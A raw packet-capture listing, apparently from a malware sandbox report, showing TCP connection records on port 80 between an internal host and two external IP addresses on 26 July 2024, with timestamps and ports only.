Jul 26, 2024 10:36:16.604402065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604434967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604459047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604459047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604470015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604497910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604513884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604652882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604684114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604703903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604717970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604751110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604765892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604765892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604784012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604800940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604816914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604831934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604850054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604882002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604914904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604923964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604923964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604923964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604958057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605329990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605361938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605379105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605393887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605423927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605426073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605459929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605492115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605503082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605503082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605503082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605525017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605556965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605566978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605566978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605591059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605602980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605623960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605657101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605665922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605665922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605688095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605712891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605720997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605740070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605752945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605784893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.605787992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605787992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.605834961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606408119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606441975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606468916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606476068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606482983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606508017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606524944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606542110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606564999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606574059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606606007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606618881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606618881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606637955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606652021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606672049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606703997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606735945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606741905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606741905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606741905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606767893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606801033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606808901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606808901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606832981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606863976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606864929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606899977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.606909990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606909990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.606945038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607172966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607206106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607238054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607270956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607281923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607281923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607281923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607302904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607332945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607335091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607342005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607364893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607391119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607397079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607426882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607431889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607462883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607496977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607507944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607507944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607507944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607527971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607561111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607570887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607570887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607593060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607626915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607657909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607670069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607670069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607670069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607706070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607899904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607933044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607965946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.607983112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607983112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.607999086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.608041048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.608041048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:17.062241077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:17.062241077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:17.069447994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:17.069674015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:17.618555069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:17.618654013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:17.666980982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:17.672048092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:17.852468014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:17.852534056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:17.852546930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:17.852622032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:17.852663994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:17.855303049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:17.860469103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:18.061522961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:18.061650991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:18.065419912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.082144022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.082257032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.082423925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.090743065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.866930008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.867168903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.867599010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.867635965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.867667913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.867679119 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.867702961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.867705107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.867726088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.867737055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.867765903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.867791891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.868288994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.868324995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.868351936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.868352890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.868369102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.868392944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.868408918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.868447065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.874511957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.874583960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.874591112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.874660969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:18.874708891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:18.874771118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.021198988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.021259069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.021287918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.021295071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.021367073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.021367073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.021425009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.021493912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.021697044 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.021733999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.021761894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.021794081 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.025629997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.025696993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.025738001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.025794983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.028690100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.028723001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.028754950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.028773069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.031689882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.031724930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.031759977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.031761885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.031780958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.031799078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.031809092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.031866074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.032516003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.032548904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.032576084 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.032581091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.032597065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.032613993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.032639980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.032644987 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.032659054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.032677889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.032692909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.032710075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.032727957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.032742977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.032772064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.032788992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.033282995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.033346891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.160051107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.160113096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.160146952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.160303116 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.160378933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.160413027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.160445929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.160445929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.160505056 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.160506010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.160727978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.160758972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.160784960 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.160793066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.160805941 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.160826921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.160856009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.160885096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.161092043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.161124945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.161155939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.161185026 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.162223101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.162290096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.162334919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.162368059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.162396908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.162414074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.162486076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.162535906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.162544966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.162570000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.162600994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.162604094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.162621021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.162658930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.164907932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.164942980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.164975882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.164978981 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.164994955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.165011883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.165045977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.165045977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.165081024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.165082932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.165106058 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.165117979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.165134907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.165163994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.166152000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.166229010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.166237116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.166270018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.166301012 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.166321039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.166369915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.166419029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.166451931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.166455030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.166476965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.166521072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.252603054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.252679110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.252712011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.252737999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.252768040 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.252803087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.252932072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.252964973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.252995968 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.252995968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.253024101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.253031015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.253045082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.253097057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.253345013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.253376961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.253408909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.253410101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.253427029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.253442049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.253460884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.253475904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.253509998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.253530025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.253848076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.253906965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.253931999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.253995895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.314516068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.314573050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.314611912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.314676046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.314723015 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.314793110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.314826012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.314846992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.314862013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.314886093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.314898968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.314927101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.314946890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.319355011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.319387913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.319418907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.319443941 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.319452047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.319475889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.319487095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.319518089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.319519997 CEST	49713	80	192.168.2.6	185.215.113.16
